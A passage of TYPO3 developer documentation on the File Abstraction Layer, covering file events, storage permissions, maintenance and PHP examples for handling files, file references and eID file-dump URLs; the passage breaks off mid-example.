Receives references to the folder to move and the parent target folder (both as Folder instances) and the sanitized target name.
AfterFolderMovedEvent
Receives references to the folder to move and the parent target folder (both as Folder instances), the identifier of the moved folder and a reference to the original parent folder (as a Folder instance).
BeforeFolderDeletedEvent
Receives a reference to the folder to delete (as a Folder instance).
AfterFolderDeletedEvent
Receives a reference to the deleted folder (as a Folder instance).
BeforeFolderRenamedEvent
Receives a reference to the folder to be renamed (as a Folder instance) and the sanitized new name.
AfterFolderRenamedEvent
Receives a reference to the renamed folder (as a Folder instance) and the new identifier of the renamed folder.
GeneratePublicUrlForResourceEvent

This event makes it possible to influence the construction of the public URL of a resource. If the event defines the URL, it is kept as is and the rest of the URL generation process is ignored.

It receives a reference to the instance for which the URL should be generated (as a \TYPO3\CMS\Core\Resource\ResourceInterface instance), a boolean flag indicating whether the URL should be relative to the current script or absolute and a reference to the public URL (which is null at this point, but can be then modified by the event).

\TYPO3\CMS\Core\Resource\StorageRepository

BeforeResourceStorageInitializationEvent
This event is dispatched by the method \TYPO3\CMS\Core\Resource\StorageRepository::getStorageObject() before a storage object has been fetched. The event receives a reference to the storage.
AfterResourceStorageInitializationEvent
This event is dispatched by the method \TYPO3\CMS\Core\Resource\StorageRepository::getStorageObject() after a storage object has been fetched. The event receives a reference to the storage.

\TYPO3\CMS\Core\Resource\Index\FileIndexRepository

AfterFileAddedToIndexEvent
Receives an array containing the information collected about the file whose index (i.e. sys_file table entry) was just created.
AfterFileUpdatedInIndexEvent
Receives an array containing the information collected about the file whose index (i.e. sys_file table entry) was just updated.
AfterFileRemovedFromIndexEvent
Receives the uid of the file (i.e. sys_file table entry) which was deleted.
AfterFileMarkedAsMissingEvent
Receives the uid of the file (i.e. sys_file table entry) which was marked as missing.

\TYPO3\CMS\Core\Resource\Index\MetaDataRepository

EnrichFileMetaDataEvent
This event is dispatched after metadata has been retrieved for a given file. The event receives the metadata as an \ArrayObject instance.
AfterFileMetaDataCreatedEvent
Receives an array containing the metadata collected about the file just after it has been inserted into the sys_file_metadata table.
AfterFileMetaDataUpdatedEvent
This event is dispatched after metadata for a given file has been updated. The event receives the metadata as an array containing all metadata fields (and not just the updated ones).
AfterFileMetaDataDeletedEvent
Receives the uid of the file whose metadata has just been deleted.

\TYPO3\CMS\Core\Resource\Service\FileProcessingService

BeforeFileProcessingEvent
This event is dispatched before a file is processed. The event receives a reference to the processed file and to the original file (both as File instances), a string defining the type of task being executed and an array containing the configuration for that task.
AfterFileProcessingEvent
This event is dispatched after a file has been processed. The event receives a reference to the processed file and to the original file (both as File instances), a string defining the type of task being executed and an array containing the configuration for that task.

See the section about services for more information about this class.

\TYPO3\CMS\Core\Utility\File\ExtendedFileUtility

AfterFileCommandProcessedEvent
The event can be used to perform additional tasks for specific file commands. For example, trigger a custom indexer after a file has been uploaded.

Permissions

Permissions in the file abstraction layer are the result of a combination of various mechanisms.

System permissions

System permissions are strictly enforced and may prevent an action no matter what component triggered them.

Administrators always have full access. The only reason they might not have access is that the underlying file system or storage service does not allow access to a resource (for example, some file is read-only in the local file system).

File mounts

File mounts restrict users to a certain folder in a certain storage. This is an obvious permission restriction: users will never be able to act on a file or folder outside of their allotted file mounts.

User permissions

User permissions for files can be set in the "File operation permissions" section of the backend user or backend user group records.

It is also possible to set permissions using user TSconfig, defined either at backend user or backend user group level. The TSconfig way is recommended because it allows for more flexibility. See some examples below and read on in the section about permissions in the user TSconfig reference.

The default permissions for backend users and backend user groups are read-only:

EXT:my_extension/Configuration/user.tsconfig
permissions.file.default {
  addFile      = 0
  readFile     = 1
  writeFile    = 0
  copyFile     = 0
  moveFile     = 0
  renameFile   = 0
  deleteFile   = 0
  addFolder    = 0
  readFolder   = 1
  writeFolder  = 0
  copyFolder   = 0
  moveFolder   = 0
  renameFolder = 0
  deleteFolder = 0
  recursivedeleteFolder = 0
}
Copied!

If no permissions are defined in TSconfig, the settings in the backend user and in the backend user group record are taken into account and treated as default permissions for all storages.

User permissions per storage

Using user TSconfig it is possible to set different permissions for different storages. This syntax uses the uid of the targeted storage record.

The following example grants all permission for the storage with uid "1":

EXT:my_extension/Configuration/user.tsconfig
permissions.file.storage.1 {
  addFile      = 1
  readFile     = 1
  writeFile    = 1
  copyFile     = 1
  moveFile     = 1
  renameFile   = 1
  deleteFile   = 1
  addFolder    = 1
  readFolder   = 1
  writeFolder  = 1
  copyFolder   = 1
  moveFolder   = 1
  renameFolder = 1
  deleteFolder = 1
  recursivedeleteFolder = 1
}
Copied!

User permissions details

This model for permissions behaves very similar to permission systems on Unix and Linux systems. Folders are seen as a collection of files and folders. If you want to change that collection by adding, removing or renaming files or folders you need to have write permissions for the folder as well. If you only want to change the content of a file you need write permissions for the file but not for the containing folder.

Here is the detail of what the various permission options mean:

addFile
Create new files, upload files.
readFile
Show content of files.
writeFile
Edit or save contents of files, even if NO write permissions to folders are granted.
copyFile
Allow copying of files; needs writeFolder permissions for the target folder.
moveFile
Allow moving files; needs writeFolder permissions for source and target folders.
renameFile
Allow renaming files; needs writeFolder permissions.
deleteFile
Delete a file; needs writeFolder permissions.
addFolder
Add or create new folders; needs writeFolder permissions for the parent folder.
readFolder
List contents of folder.
writeFolder
Permission to change contents of folder (add files, rename files, add folders, rename folders). Changing contents of existing files is not governed by this permission!
copyFolder
Needs writeFolder permissions for the target folder.
moveFolder
Needs writeFolder permissions for both target and source folder (because it is removed from the latter, which changes the folder).
renameFolder
Needs writeFolder permissions (because it changes the folder itself and also the containing folder's contents).
deleteFolder
Remove an (empty) folder; needs write folder permissions.
recursivedeleteFolder
Remove a folder even if it has contents; needs write folder permissions.

Default upload folder

When nothing else is defined, any file uploaded by a user will end up in fileadmin/user_upload/. The user TSconfig property defaultUploadFolder, allows to define a different default upload folder on a backend user or backend user group level, for example:

EXT:my_extension/Configuration/user.tsconfig
options.defaultUploadFolder = 3:users/uploads/
Copied!

There are a number of circumstances where it might be convenient to change the default upload folder. The PSR-14 event AfterDefaultUploadFolderWasResolvedEvent exists to provide maximum flexibility in that regard. For example, take a look at the extension default_upload_folder, which makes it possible to define a default upload folder for a given field of a given table (using custom TSconfig).

Frontend permissions

The system extension filemetadata adds a fe_groups field to the sys_file_metadata table. This makes it possible to attach frontend permissions to files. However, these permissions are not enforced in any way by the TYPO3 Core. It is up to extension developers to create tools which make use of these permissions.

As an example, you may want to take a look at extension beechit/fal-securedownload which also makes use of the "Is publicly available?" property of File storages.

File storages

File storages can be administered through the Web > List module. They have a few properties which deserve further explanation.

Special properties in the "Access capabilities" tab of a File storage

Is browsable?
If this box is not checked, the storage will not be browsable by users via the File > Filelist module, nor via the link browser window.
Is publicly available?

When this box is unchecked, the publicUrl property of files is replaced by an eID call pointing to a file dumping script provided by the TYPO3 Core. The public URL looks something like index.php?eID=dumpFile&t=f&f=1230&token=135b17c52f5e718b7cc94e44186eb432e0cc6d2f. Behind the scenes, the class \TYPO3\CMS\Core\Controller\FileDumpController is invoked to manage the download. The class itself does not implement any access checks, but provides the PSR-14 event ModifyFileDumpEvent for doing so.

Is writable?
When this box is unchecked, the storage is read-only.
Is online?

A storage that is not online cannot be accessed in the backend. This flag is set automatically when files are not accessible (for example, when a third-party storage service is not available) and the underlying driver detects someone trying to access files in that storage.

The important thing to note is that a storage must be turned online again manually.

Assuming that a web project is located in the directory /var/www/example.org/ (the "project root path" for Composer-based projects) and the publicly accessible directory is located at /var/www/example.org/public/ (the "public root path" or "web root"), accessing resources via the File Abstraction Layer component is limited to the mentioned directories and its sub-directories.

To grant additional access to directories, they must be explicitly configured in the system settings of $GLOBALS['TYPO3_CONF_VARS']['BE']['lockRootPath'] - either using the Install Tool or according to deployment techniques.

Example:

config/system/settings.php
// Configure additional directories outside of the project's folder
// as absolute paths
$GLOBALS['TYPO3_CONF_VARS']['BE']['lockRootPath'] = [
    ‘/var/shared/documents/’,
    ‘/var/shared/images/’,
];
Copied!

Storages that reference directories not explicitly granted will be marked as "offline" internally - no resources can be used in the website's frontend and backend context.

See also the security bulletin "Path Traversal in TYPO3 File Abstraction Layer Storages".

Maintenance

There are various maintenance tasks which can be performed to maintain a healthy TYPO3 installation with the file abstraction layer.

Scheduler tasks

Two base tasks provided by the scheduler are related to the file abstraction layer.

File abstraction layer: Update storage index

This task goes through a storage and makes sure that each file is properly indexed. If files are only manipulated via the TYPO3 backend, they are always indexed. However, if files are added by other means (for example, FTP), or if some storages are based on drivers accessing remote systems, it is essential to run this task regularly so that the TYPO3 installation knows about all the existing files and can make them available to users.

This task is defined per storage.

File abstraction layer: Extract metadata in storage

This task goes through all files in a storage and updates their metadata. Again, this is especially important when files can be manipulated by other means or actually reside on external systems.

This task is defined per storage.

Processed files

If you change some graphics-related settings, it may be necessary to force a regeneration of all processed files. This can be achieved by deleting all existing processed files in Admin Tools > Maintenance > Remove Temporary Assets.

Removing all processed files in the Maintenance Tool

Here you can choose to delete all files in fileadmin/_processed_/

This cleanup is also a good idea if you have been accumulating files for a long time. Many of them may be obsolete.

After flushing page cache, it is a good idea to warmup the page cache. Generating the pages for the first time may take longer than usual because the processed files need to be regenerated. There is currently no Core functionality to warmup the page cache for all pages, but there are a number of extensions which provide this functionality. Alternatively, one can use the sitemap and a tool such as wget for this.

Also, deleting processed files while editors are active is not ideal. Preferably, lock the TYPO3 backend before you remove the processed files.

Using FAL

This chapter explains the principles on how to use FAL in various contexts, like the frontend or during extension or TYPO3 Core development, by the way of references or useful examples for common use cases.

Using FAL in the frontend

TypoScript

Using FAL relations in the frontend via TypoScript is achieved using the FILES content object, which is described in detail in the TypoScript Reference.

Fluid

The ImageViewHelper

If you have the uid of a file reference, you can use it directly in the \TYPO3\CMS\Fluid\ViewHelpers\ImageViewHelper:

<f:image image="{image}" />
Copied!

Here {image} is an object of one of the following types:

  • \TYPO3\CMS\Core\Resource\File
  • \TYPO3\CMS\Core\Resource\FileReference
  • \TYPO3\CMS\Extbase\Domain\Model\FileReference

Get file properties

Example:

{fileReference.title}
{fileReference.description}
{fileReference.publicUrl}
Copied!
{fileReference.originalResource.title}
{fileReference.originalResource.description}
{fileReference.originalResource.publicUrl}
Copied!
{fileReference.properties.copyright}
{fileReference.properties.creator}
Copied!

Some metadata fields, like title and description, can be entered either in the referenced file itself or in the reference or both. TYPO3 automatically merges both sources when you access originalResource in Fluid. So originalResource returns the merged value. Values which are entered in the reference will override values from the file itself.

FLUIDTEMPLATE

More often the file reference information will not be available explicitly. The FLUIDTEMPLATE content object has a dataProcessing property which can be used to call the \TYPO3\CMS\Frontend\DataProcessing\FilesProcessor class, whose task is to load all media referenced for the current database record being processed.

This requires first a bit of TypoScript:

EXT:my_extension/Configuration/TypoScript/setup.typoscript
lib.carousel = FLUIDTEMPLATE
lib.carousel {
  file = EXT:my_extension/Resources/Private/Templates/Carousel.html
  dataProcessing.10 = TYPO3\CMS\Frontend\DataProcessing\FilesProcessor
  dataProcessing.10 {
    references {
      table = tt_content
      fieldName = image
    }
    as = images
  }
}
Copied!

This will fetch all files related to the content element being rendered (referenced in the image field) and make them available in a variable called images. This can then be used in the Fluid template:

EXT:my_extension/Resources/Private/Templates/Carousel.html
<f:for each="{images}" as="image">
    <div class="slide">
        <f:image image="{image.originalFile}" />
    </div>
</f:for>
Copied!

TCA definition

This chapter explains how to create a field that makes it possible to create relations to files.

Changed in version 13.0

The TCA field type File can be used to provide a field in which files can be referenced and/or uploaded:

EXT:my_extension/Configuration/TCA/my_table.php
<?php

return [
    'ctrl' => [
        // ...
    ],
    'columns' => [
        'my_media_file' => [
            'label' => 'My image',
            'config' => [
                'type' => 'file',
                'allowed' => 'common-media-types',
            ],
        ],
        // ...
    ],
    // ...
];
Copied!

The property appearance can be used to specify, if a file upload button and file by URL button (Vimeo, Youtube) should be displayed.

Example:

EXT:my_extension/Configuration/TCA/Overrides/my_table.php
<?php

$GLOBALS['TCA']['my_table']['columns']['my_media_file']['config']['appearance'] = [
    'fileUploadAllowed' => false,
    'fileByUrlAllowed' => false,
];
Copied!

This will suppress two buttons for upload and external URL and only leave the button Create new relation.

Migration from ExtensionManagementUtility::getFileFieldTCAConfig

// Before
'columns' => [
    'image' => [
        'label' => 'My image',
        'config' => \TYPO3\CMS\Core\Utility\ExtensionManagementUtility::getFileFieldTCAConfig(
            'image',
            [
                'maxitems' => 6,
            ],
            $GLOBALS['TYPO3_CONF_VARS']['GFX']['imagefile_ext']
        ),
    ],
],

// After
'columns' => [
    'image' => [
        'label' => 'My image',
        'config' => [
            'type' => 'file',
            'maxitems' => 6,
            'allowed' => 'common-image-types'
        ],
    ],
],
Copied!

The StorageRepository class

The \TYPO3\CMS\Core\Resource\StorageRepository is the main class for creating and retrieving file storage objects. It contains a number of utility methods, some of which are described here, some others which appear in the other code samples provided in this chapter.

Getting the default storage

Of all available storages, one may be marked as default. This is the storage that will be used for any operation whenever no storage has been explicitly chosen or defined (for example, when not using a combined identifier).

EXT:my_extension/Classes/Resource/GetDefaultStorageExample.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Resource;

use TYPO3\CMS\Core\Resource\ResourceStorage;
use TYPO3\CMS\Core\Resource\StorageRepository;

final class GetDefaultStorageExample
{
    public function __construct(
        private readonly StorageRepository $storageRepository,
    ) {}

    public function doSomething(): void
    {
        $defaultStorage = $this->storageRepository->getDefaultStorage();

        // getDefaultStorage() may return null, if no default storage is configured.
        // Therefore, we check if we receive a ResourceStorage object
        if ($defaultStorage instanceof ResourceStorage) {
            // ... do something with the default storage
        }

        // ... more logic
    }
}
Copied!

Getting any storage

The StorageRepository class should be used for retrieving any storage.

EXT:my_extension/Classes/Resource/GetStorageObjectExample.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Resource;

use TYPO3\CMS\Core\Resource\StorageRepository;

final class GetStorageObjectExample
{
    public function __construct(
        private readonly StorageRepository $storageRepository,
    ) {}

    public function doSomething(): void
    {
        $storage = $this->storageRepository->getStorageObject(3);

        // ... more logic
    }
}
Copied!

Working with files, folders and file references

This chapter provides some examples about interacting with file, folder and file reference objects.

Getting a file

By uid

A file can be retrieved using its uid:

EXT:my_extension/Classes/MyClass.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Classes;

use TYPO3\CMS\Core\Resource\Exception\FileDoesNotExistException;
use TYPO3\CMS\Core\Resource\File;
use TYPO3\CMS\Core\Resource\ResourceFactory;

final class MyClass
{
    public function __construct(
        private readonly ResourceFactory $resourceFactory,
    ) {}

    public function doSomething(): void
    {
        // Get the file object with uid=4
        try {
            /** @var File $file */
            $file = $this->resourceFactory->getFileObject(4);
        } catch (FileDoesNotExistException $e) {
            // ... do some exception handling
        }

        // ... more logic
    }
}
Copied!

By its combined identifier

EXT:my_extension/Classes/MyClass.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Classes;

use TYPO3\CMS\Core\Resource\File;
use TYPO3\CMS\Core\Resource\ProcessedFile;
use TYPO3\CMS\Core\Resource\ResourceFactory;

final class MyClass
{
    public function __construct(
        private readonly ResourceFactory $resourceFactory,
    ) {}

    public function doSomething(): void
    {
        // Get the file object by combined identifier "1:/foo.txt"
        /** @var File|ProcessedFile|null $file */
        $file = $this->resourceFactory->getFileObjectFromCombinedIdentifier('1:/foo.txt');

        // ... more logic
    }
}
Copied!

The syntax of argument 1 for getFileObjectFromCombinedIdentifier() is

[[storage uid]:]<file identifier>
Copied!

The storage uid is optional. If it is not specified, the default storage "0" will be assumed initially. The default storage is virtual with $uid === 0 in its class \TYPO3\CMS\Core\Resource\ResourceStorage . In this case the local filesystem is checked for the given file. The file identifier is the local path and filename relative to the TYPO3 fileadmin/ folder.

Example: /some_folder/some_image.png, if the file /absolute/path/to/fileadmin/some_folder/some_image.png exists on the file system.

The file can be accessed from the default storage, if it exists under the given local path in fileadmin/. In case the file is not found, a search for another storage best fitting to this local path will be started. Afterwards, the file identifier is adapted accordingly inside of TYPO3 to match the new storage's base path.

By filename from its folder

EXT:my_extension/Classes/MyClass.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Classes;

use TYPO3\CMS\Core\Resource\Exception\InsufficientFolderAccessPermissionsException;
use TYPO3\CMS\Core\Resource\File;
use TYPO3\CMS\Core\Resource\Folder;
use TYPO3\CMS\Core\Resource\InaccessibleFolder;
use TYPO3\CMS\Core\Resource\ProcessedFile;
use TYPO3\CMS\Core\Resource\StorageRepository;

final class MyClass
{
    public function __construct(
        private readonly StorageRepository $storageRepository,
    ) {}

    public function doSomething(): void
    {
        $defaultStorage = $this->storageRepository->getDefaultStorage();

        try {
            /** @var Folder|InaccessibleFolder $folder */
            $folder = $defaultStorage->getFolder('/some/path/in/storage/');

            /** @var File|ProcessedFile|null $file */
            $file = $folder->getStorage()->getFileInFolder('example.ext', $folder);
        } catch (InsufficientFolderAccessPermissionsException $e) {
            // ... do some exception handling
        }

        // ... more logic
    }
}
Copied!

By its filename from the folder object

EXT:my_extension/Classes/MyClass.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Classes;

use TYPO3\CMS\Core\Resource\Exception\InsufficientFolderAccessPermissionsException;
use TYPO3\CMS\Core\Resource\File;
use TYPO3\CMS\Core\Resource\Folder;
use TYPO3\CMS\Core\Resource\InaccessibleFolder;
use TYPO3\CMS\Core\Resource\StorageRepository;

final class MyClass
{
    public function __construct(
        private readonly StorageRepository $storageRepository,
    ) {}

    public function doSomething(): void
    {
        $defaultStorage = $this->storageRepository->getDefaultStorage();

        try {
            /** @var Folder|InaccessibleFolder $folder */
            $folder = $defaultStorage->getFolder('/some/path/in/storage/');

            /** @var File|null $file */
            $file = $folder->getFile('filename.ext');
        } catch (InsufficientFolderAccessPermissionsException $e) {
            // ... do some exception handling
        }

        // ... more logic
    }
}
Copied!

Copying a file

EXT:my_extension/Classes/MyClass.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Classes;

use TYPO3\CMS\Core\Resource\Exception\InsufficientFolderAccessPermissionsException;
use TYPO3\CMS\Core\Resource\File;
use TYPO3\CMS\Core\Resource\Folder;
use TYPO3\CMS\Core\Resource\InaccessibleFolder;
use TYPO3\CMS\Core\Resource\StorageRepository;

final class MyClass
{
    public function __construct(
        private readonly StorageRepository $storageRepository,
    ) {}

    public function doSomething(): void
    {
        $storageUid = 17;
        $someFileIdentifier = 'templates/images/banner.jpg';
        $someFolderIdentifier = 'website/images/';

        $storage = $this->storageRepository->getStorageObject($storageUid);

        /** @var File $file */
        $file = $storage->getFile($someFileIdentifier);

        try {
            /** @var Folder|InaccessibleFolder $folder */
            $folder = $storage->getFolder($someFolderIdentifier);

            /** @var File $copiedFile The new, copied file */
            $copiedFile = $file->copyTo($folder);
        } catch (InsufficientFolderAccessPermissionsException|\RuntimeException $e) {
            // ... do some exception handling
        }

        // ... more logic
    }
}
Copied!

Deleting a file

EXT:my_extension/Classes/MyClass.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Classes;

use TYPO3\CMS\Core\Resource\File;
use TYPO3\CMS\Core\Resource\StorageRepository;

final class MyClass
{
    public function __construct(
        private readonly StorageRepository $storageRepository,
    ) {}

    public function doSomething(): void
    {
        $storageUid = 17;
        $someFileIdentifier = 'templates/images/banner.jpg';

        $storage = $this->storageRepository->getStorageObject($storageUid);

        /** @var File $file */
        $file = $storage->getFile($someFileIdentifier);

        if ($file->delete()) {
            // ... file was deleted successfully
        } else {
            // ... an error occurred
        }

        // ... more logic
    }
}
Copied!

Adding a file

This example adds a new file in the root folder of the default storage:

EXT:my_extension/Classes/MyClass.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Classes;

use TYPO3\CMS\Core\Resource\File;
use TYPO3\CMS\Core\Resource\StorageRepository;

final class MyClass
{
    public function __construct(
        private readonly StorageRepository $storageRepository,
    ) {}

    public function doSomething(): void
    {
        $storage = $this->storageRepository->getDefaultStorage();

        /** @var File $newFile */
        $newFile = $storage->addFile(
            '/tmp/temporary_file_name.ext',
            $storage->getRootLevelFolder(),
            'final_file_name.ext',
        );

        // ... more logic
    }
}
Copied!

The default storage uses fileadmin/ unless this was configured differently, as explained in Storages and drivers.

So, for this example, the resulting file path would typically be <document-root>/fileadmin/final_file_name.ext

To store the file in a sub-folder use $storage->getFolder():

EXT:my_extension/Classes/MyClass.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Classes;

use TYPO3\CMS\Core\Resource\File;
use TYPO3\CMS\Core\Resource\StorageRepository;

final class MyClass
{
    public function __construct(
        private readonly StorageRepository $storageRepository,
    ) {}

    public function doSomething(): void
    {
        $storage = $this->storageRepository->getDefaultStorage();

        /** @var File $newFile */
        $newFile = $storage->addFile(
            '/tmp/temporary_file_name.ext',
            $storage->getFolder('some/nested/folder'),
            'final_file_name.ext',
        );

        // ... more logic
    }
}
Copied!

In this example, the file path would likely be <document-root>/fileadmin/some/nested/folder/final_file_name.ext

Security and consistency checks

New in version 13.4.12 / 12.4.31

The following methods of \TYPO3\CMS\Core\Resource\ResourceStorage perform validation checks:

  • addFile()
  • renameFile()
  • replaceFile()
  • addUploadedFile()

Validation behavior:

Feature flags controlling this behavior:

  • security.system.enforceAllowedFileExtensions
  • security.system.enforceFileExtensionMimeTypeConsistency

For controlled or low-level operations, consistency checks can be bypassed temporarily:

<?php
class ImportCommand
{
    use \TYPO3\CMS\Core\Resource\ResourceInstructionTrait;

    protected function execute(): void
    {
        // ...

        // Skip the consistency check once for the specified storage, source, and target
        $this->skipResourceConsistencyCheckForCommands($storage, $temporaryFileName, $targetFileName);

        /** @var \TYPO3\CMS\Core\Resource\File $file */
        $file = $storage->addFile($temporaryFileName, $targetFolder, $targetFileName);
    }
}
Copied!

Creating a file reference

In backend context

In the backend or command line context, it is possible to create file references using the DataHandler ( \TYPO3\CMS\Core\DataHandling\DataHandler ).

Assuming you have the "uid" of both the File and whatever other item you want to create a relation to, the following code will create the sys_file_reference entry and the relation to the other item (in this case a tt_content record):

EXT:my_extension/Classes/MyClass.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Classes;

use TYPO3\CMS\Backend\Utility\BackendUtility;
use TYPO3\CMS\Core\DataHandling\DataHandler;
use TYPO3\CMS\Core\Resource\ResourceFactory;
use TYPO3\CMS\Core\Utility\GeneralUtility;
use TYPO3\CMS\Core\Utility\StringUtility;

final class MyClass
{
    public function __construct(
        private readonly ResourceFactory $resourceFactory,
    ) {}

    public function doSomething(): void
    {
        // Get file object with uid=42
        $fileObject = $this->resourceFactory->getFileObject(42);

        // Get content element with uid=21
        $contentElement = BackendUtility::getRecord('tt_content', 21);

        // Assemble DataHandler data
        $newId =  StringUtility::getUniqueId('NEW'); // random string prefixed with NEW
        $data = [];
        $data['sys_file_reference'][$newId] = [
            'uid_local' => $fileObject->getUid(),
            'tablenames' => 'tt_content',
            'uid_foreign' => $contentElement['uid'],
            'fieldname' => 'assets',
            'pid' => $contentElement['pid'],
        ];
        $data['tt_content'][$contentElement['uid']] = [
            'assets' => $newId, // For multiple new references $newId is a comma-separated list
        ];
        /** @var DataHandler $dataHandler */
        // Do not inject or reuse the DataHander as it holds state!
        // Do not use `new` as GeneralUtility::makeInstance handles dependencies
        $dataHandler = GeneralUtility::makeInstance(DataHandler::class);

        // Process the DataHandler data
        $dataHandler->start($data, []);
        $dataHandler->process_datamap();

        // Error or success reporting
        if ($dataHandler->errorLog === []) {
            // ... handle success
        } else {
            // ... handle errors
        }
    }
}
Copied!

The above example comes from the "examples" extension (reference: https://github.com/TYPO3-Documentation/t3docs-examples/blob/main/Classes/Controller/ModuleController.php).

Here, the 'fieldname' 'assets' is used instead of image. Content elements of ctype 'textmedia' use the field 'assets'.

For another table than tt_content, you need to define the "pid" explicitly when creating the relation:

EXT:my_extension/Classes/SomeClass.php
$data['tt_address'][$address['uid']] = [
    'pid' => $address['pid'],
    'image' => 'NEW1234' // changed automatically
];
Copied!

In frontend context

In a frontend context, the \TYPO3\CMS\Core\DataHandling\DataHandler class cannot be used and there is no specific API to create a file reference. You are on your own.

The simplest solution is to create a database entry into table sys_file_reference by using the database connection class or the query builder provided by TYPO3.

See Extbase file upload for details on how to achieve this using Extbase.

Getting referenced files

This snippet shows how to retrieve FAL items that have been attached to some other element, in this case the media field of the pages table:

EXT:my_extension/Classes/MyClass.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Classes;

use TYPO3\CMS\Core\Resource\FileReference;
use TYPO3\CMS\Core\Resource\FileRepository;

final class MyClass
{
    public function __construct(
        private readonly FileRepository $fileRepository,
    ) {}

    public function doSomething(): void
    {
        /** @var FileReference[] $fileObjects */
        $fileObjects = $this->fileRepository->findByRelation('pages', 'media', 42);

        // ... more logic
    }
}
Copied!

where $uid is the ID of some page. The return value is an array of \TYPO3\CMS\Core\Resource\FileReference objects.

Get files in a folder

These would be the shortest steps to get the list of files in a given folder: get the storage, get a folder object for some path in that storage (path relative to storage root), finally retrieve the files:

EXT:my_extension/Classes/MyClass.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Classes;

use TYPO3\CMS\Core\Resource\Exception\InsufficientFolderAccessPermissionsException;
use TYPO3\CMS\Core\Resource\File;
use TYPO3\CMS\Core\Resource\Folder;
use TYPO3\CMS\Core\Resource\InaccessibleFolder;
use TYPO3\CMS\Core\Resource\StorageRepository;

final class MyClass
{
    public function __construct(
        private readonly StorageRepository $storageRepository,
    ) {}

    public function doSomething(): void
    {
        $defaultStorage = $this->storageRepository->getDefaultStorage();

        try {
            /** @var Folder|InaccessibleFolder $folder */
            $folder = $defaultStorage->getFolder('/some/path/in/storage/');

            /** @var File[] $files */
            $files = $defaultStorage->getFilesInFolder($folder);
        } catch (InsufficientFolderAccessPermissionsException $e) {
            // ... do some exception handling
        }

        // ... more logic
    }
}
Copied!

Dumping a file via eID script

TYPO3 registers an eID script that allows dumping / downloading / referencing files via their FAL IDs. Non-public storages use this script to make their files available to view or download. File retrieval is done via PHP and delivered through the eID script.

An example URL looks like this: index.php?eID=dumpFile&t=f&f=1230&token=135b17c52f5e718b7cc94e44186eb432e0cc6d2f.

Following URI parameters are available:

  • t (Type): Can be one of f (sys_file), r (sys_file_reference) or p (sys_file_processedfile)
  • f (File): UID of table sys_file
  • r (Reference): UID of table sys_file_reference
  • p (Processed): UID of table sys_file_processedfile
  • s (Size): Size (width and height) of the file
  • cv (CropVariant): In case of sys_file_reference, you can assign a cropping variant

You have to choose one of these parameters: f, r or p. It is not possible to combine them in one request.

The parameter s has following syntax: width:height:minW:minH:maxW:maxH. You can leave this parameter empty to load the file in its original size. The parameters width and height can feature the trailing c or m indicator, as known from TypoScript.

The PHP class responsible for handling the file dumping is the \TYPO3\CMS\Core\Controller\FileDumpController , which you may also use in your code.

Changed in version 14.0

Until TYPO3 v13 generating the Hash-based Message Authentication Codes (HMACs) was done via GeneralUtility::hmac(); this has been deprecated with TYPO3 v13.1 and removed with TYPO3 v14.0. Use the \TYPO3\CMS\Core\Crypto\HashService::hmac() method instead.

See the following example on how to create a URI using the FileDumpController for a sys_file record with a fixed image size:

EXT:some_extension/Classes/SomeClass.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Service;

use MyVendor\MyExtension\Domain\Model\SomeModel;
use TYPO3\CMS\Core\Core\Environment;
use TYPO3\CMS\Core\Crypto\HashService;
use TYPO3\CMS\Core\Utility\GeneralUtility;
use TYPO3\CMS\Core\Utility\PathUtility;

class SomeClass
{
    public function __construct(private readonly HashService $hashService) {}

    public function getPublicUrl(SomeModel $resourceObject): string
    {
        $queryParameterArray = ['eID' => 'dumpFile', 't' => 'f'];
        $queryParameterArray['f'] = $resourceObject->getUid();
        $queryParameterArray['s'] = '320c:280c';
        $queryParameterArray['token'] = $this->hashService->hmac(
            implode('|', $queryParameterArray),
            'resourceStorageDumpFile',
        );
        $publicUrl = GeneralUtility::locationHeaderUrl(PathUtility::getAbsoluteWebPath(Environment::getPublicPath() . '/index.php'));
        $publicUrl .= '?' . http_build_query($queryParameterArray, '', '&', PHP_QUERY_RFC3986);
        return $publicUrl;
    }
}
Copied!

In this example, the crop variant default and an image size of 320x280 will be applied to a sys_file_reference record:

EXT:some_extension/Classes/SomeClass.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Service;

use MyVendor\MyExtension\Domain\Model\SomeModel;
use TYPO3\CMS\Core\Core\Environment;
use TYPO3\CMS\Core\Crypto\HashService;
use TYPO3\CMS\Core\Utility\GeneralUtility;
use TYPO3\CMS\Core\Utility\PathUtility;

class SomeClass
{
    public function __construct(private readonly HashService $hashService) {}
    public function getPublicUrl(SomeModel $resourceObject): string
    {
        $queryParameterArray = ['eID' => 'dumpFile', 't' => 'r'];
        $queryParameterArray['f'] = $resourceObject->getUid();
        $queryParameterArray['s'] = '320c:280c:320:280:320:280';
        $queryParameterArray['cv'] = 'default';
        $queryParameterArray['token'] = $this->hashService->hmac(
            implode('|', $queryParameterArray),
            'resourceStorageDumpFile',
        );
        $publicUrl = GeneralUtility::locationHeaderUrl(PathUtility::getAbsoluteWebPath(Environment::getPublicPath() . '/index.php'));
        $publicUrl .= '?' . http_build_query($queryParameterArray, '', '&', PHP_QUERY_RFC3986);
        return $publicUrl;
    }
}
Copied!

This example shows how to create a URI to load an image of sys_file_processedfile:

EXT:some_extension/Classes/SomeClass.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Service;

use MyVendor\MyExtension\Domain\Model\SomeModel;
use TYPO3\CMS\Core\Core\Environment;
use TYPO3\CMS\Core\Crypto\HashService;
use TYPO3\CMS\Core\Utility\GeneralUtility;
use TYPO3\CMS\Core\Utility\PathUtility;

class SomeClass
{
    public function __construct(private readonly HashService $hashService) {}
    public function getPublicUrl(SomeModel $resourceObject): string
    {
        $queryParameterArray = ['eID' => 'dumpFile', 't' => 'p'];
